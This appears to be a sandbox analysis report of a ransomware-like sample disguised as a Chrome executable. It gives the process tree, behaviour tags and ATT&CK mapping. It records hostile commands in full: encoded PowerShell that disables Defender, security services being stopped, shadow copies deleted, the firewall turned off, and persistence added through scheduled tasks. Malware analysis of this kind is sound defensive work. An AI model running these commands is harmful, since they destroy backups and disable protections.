PID 4204 wrote to memory of 5992	4204	geekbits.io_chrome.exe	130
PID 4204 wrote to memory of 4900	4204	geekbits.io_chrome.exe	131
PID 4204 wrote to memory of 2456	4204	geekbits.io_chrome.exe	133
PID 4204 wrote to memory of 6100	4204	geekbits.io_chrome.exe	139
PID 4204 wrote to memory of 764	4204	geekbits.io_chrome.exe	141
PID 4204 wrote to memory of 4768	4204	geekbits.io_chrome.exe	142
PID 4204 wrote to memory of 4452	4204	geekbits.io_chrome.exe	143
PID 4204 wrote to memory of 1804	4204	geekbits.io_chrome.exe	144
PID 4204 wrote to memory of 2556	4204	geekbits.io_chrome.exe	145
PID 4204 wrote to memory of 4232	4204	geekbits.io_chrome.exe	146
PID 4204 wrote to memory of 4060	4204	geekbits.io_chrome.exe	152
PID 4204 wrote to memory of 1080	4204	geekbits.io_chrome.exe	155
PID 4204 wrote to memory of 4620	4204	geekbits.io_chrome.exe	156
PID 4232 wrote to memory of 4500	4232	cmd.exe	157
PID 1804 wrote to memory of 3652	1804	cmd.exe	158
PID 764 wrote to memory of 5020	764	cmd.exe	159
PID 4768 wrote to memory of 3300	4768	cmd.exe	160
PID 4452 wrote to memory of 4216	4452	cmd.exe	161
PID 2556 wrote to memory of 1132	2556	cmd.exe	162
PID 4204 wrote to memory of 3188	4204	geekbits.io_chrome.exe	195
PID 4204 wrote to memory of 3108	4204	geekbits.io_chrome.exe	164
PID 4204 wrote to memory of 2804	4204	geekbits.io_chrome.exe	165
PID 4204 wrote to memory of 2376	4204	geekbits.io_chrome.exe	166
PID 4204 wrote to memory of 608	4204	geekbits.io_chrome.exe	167
PID 4204 wrote to memory of 5864	4204	geekbits.io_chrome.exe	168
PID 3652 wrote to memory of 1280	3652	net.exe	175
PID 6100 wrote to memory of 4864	6100	cmd.exe	181
PID 2804 wrote to memory of 356	2804	net.exe	177
PID 6100 wrote to memory of 2712	6100	cmd.exe	179
PID 1768 wrote to memory of 4692	1768	chrome.exe	183
PID 1768 wrote to memory of 2840	1768	chrome.exe	184
PID 1768 wrote to memory of 3740	1768	chrome.exe	185
PID 1768 wrote to memory of 1328	1768	chrome.exe	186
PID 1768 wrote to memory of 924	1768	chrome.exe	187

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\geekbits.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\geekbits.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4204
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://geekbits.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1768
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff8bd66c728,0x7ff8bd66c734,0x7ff8bd66c740
    3⤵
    PID:1668
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1468,i,16172966868078151019,15427442406159988822,524288 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=2040 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4508
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1608,i,3125864656752341465,5362761448475114047,262144 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=1900 /prefetch:2
    3⤵
    PID:4528
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2164,i,432521474845369962,191720568819063619,524288 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=2248 /prefetch:13
    3⤵
    PID:2960
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3048,i,18044302004168626775,10222771371997630885,2097152 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=3164 /prefetch:1
    3⤵
    PID:3900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3056,i,2226530951543182719,15019775184455949419,2097152 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=3232 /prefetch:1
    3⤵
    PID:2788
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4692,i,11857861919730257149,3848225462779107845,524288 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=4700 /prefetch:14
    3⤵
    PID:2840
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4860,i,4154809169339254991,5794100058678822595,2097152 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=4880 /prefetch:1
    3⤵
    PID:4376
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=256,i,16423666096717148147,1218536582154512258,524288 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=3152 /prefetch:14
    3⤵
    PID:4692
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4268,i,9902801698501951775,15157756461352354210,524288 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=5060 /prefetch:14
    3⤵
    PID:2840
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4424,i,13671878487396129919,6257378382530982774,524288 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=5096 /prefetch:14
    3⤵
    PID:3740
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5544,i,6005438142882114423,5053257195956169379,524288 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:14
    3⤵
    PID:1328
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5640,i,4109532581730245904,3416691434373876447,2097152 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:1
    3⤵
    PID:924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5652,i,13080724923882278120,9890071465799223185,2097152 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:1
    3⤵
    PID:1776
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5940,i,14911577210135720761,2777360743400826168,2097152 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=5976 /prefetch:1
    3⤵
    PID:3784
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6056,i,765736133487966530,16386509223808935933,2097152 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=5688 /prefetch:1
    3⤵
    PID:1684
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6080,i,2169675099458039698,4134152593827656822,524288 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=5648 /prefetch:14
    3⤵
    PID:5880
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6068,i,3908157203938879758,17930598787643121422,2097152 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:1
    3⤵
    PID:5564
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5684,i,4537098002290456890,15883697302454894662,2097152 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=5632 /prefetch:1
    3⤵
    PID:3356
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6048,i,5816704061391418454,3988250315884613183,2097152 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=6068 /prefetch:1
    3⤵
    PID:1984
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6004,i,11661237580396412339,1405685283478552145,524288 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:14
    3⤵
    PID:4336
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6320,i,17101259291621673226,424874375824928061,2097152 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=5972 /prefetch:1
    3⤵
    PID:1888
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5584,i,11259120219920134187,3296634293511164206,524288 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=6316 /prefetch:14
    3⤵
    PID:6124
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=5948,i,6650922139676317947,1366333404099770073,2097152 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=3408 /prefetch:1
    3⤵
    PID:2760
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=5896,i,13547556668097748976,14080843115714882769,2097152 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=3432 /prefetch:9
    3⤵
    PID:4680
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4776,i,4561201438510265771,406291297127768059,262144 --field-trial-handle=1904,i,3905597692562373746,2428100581831421610,262144 --variations-seed-version --mojo-platform-channel-handle=1120 /prefetch:10
    3⤵
    PID:4740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3396
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1776
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2776
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:884
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:1084
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2612
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3660
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:3856
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2520
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2224
- - C:\Users\Admin\AppData\Local\Temp\geekbits.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\geekbits.io_chrome.exe"
    3⤵
    PID:5536
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:6092
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4500
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5268
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2376
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5992
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\geekbits.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4900
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\geekbits.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6100
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4864
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2712
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:764
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:5020
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4768
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3300
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4452
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4216
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1804
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3652
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:1280
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:1132
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4232
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:4500
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\geekbits.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4060
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1080
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4620
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3188
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3108
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:356
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2376
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:608
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5864

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1208

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5508

C:\Users\Admin\AppData\Local\Temp\geekbits.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\geekbits.io_chrome.exe
1⤵
PID:5244

C:\Users\Admin\AppData\Local\Temp\geekbits.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\geekbits.io_chrome.exe
1⤵
PID:4324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4772

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:4864

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv mgCkJUECNECjfz7SHBcN8A.0.2
1⤵
PID:3660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:864

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:3188

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery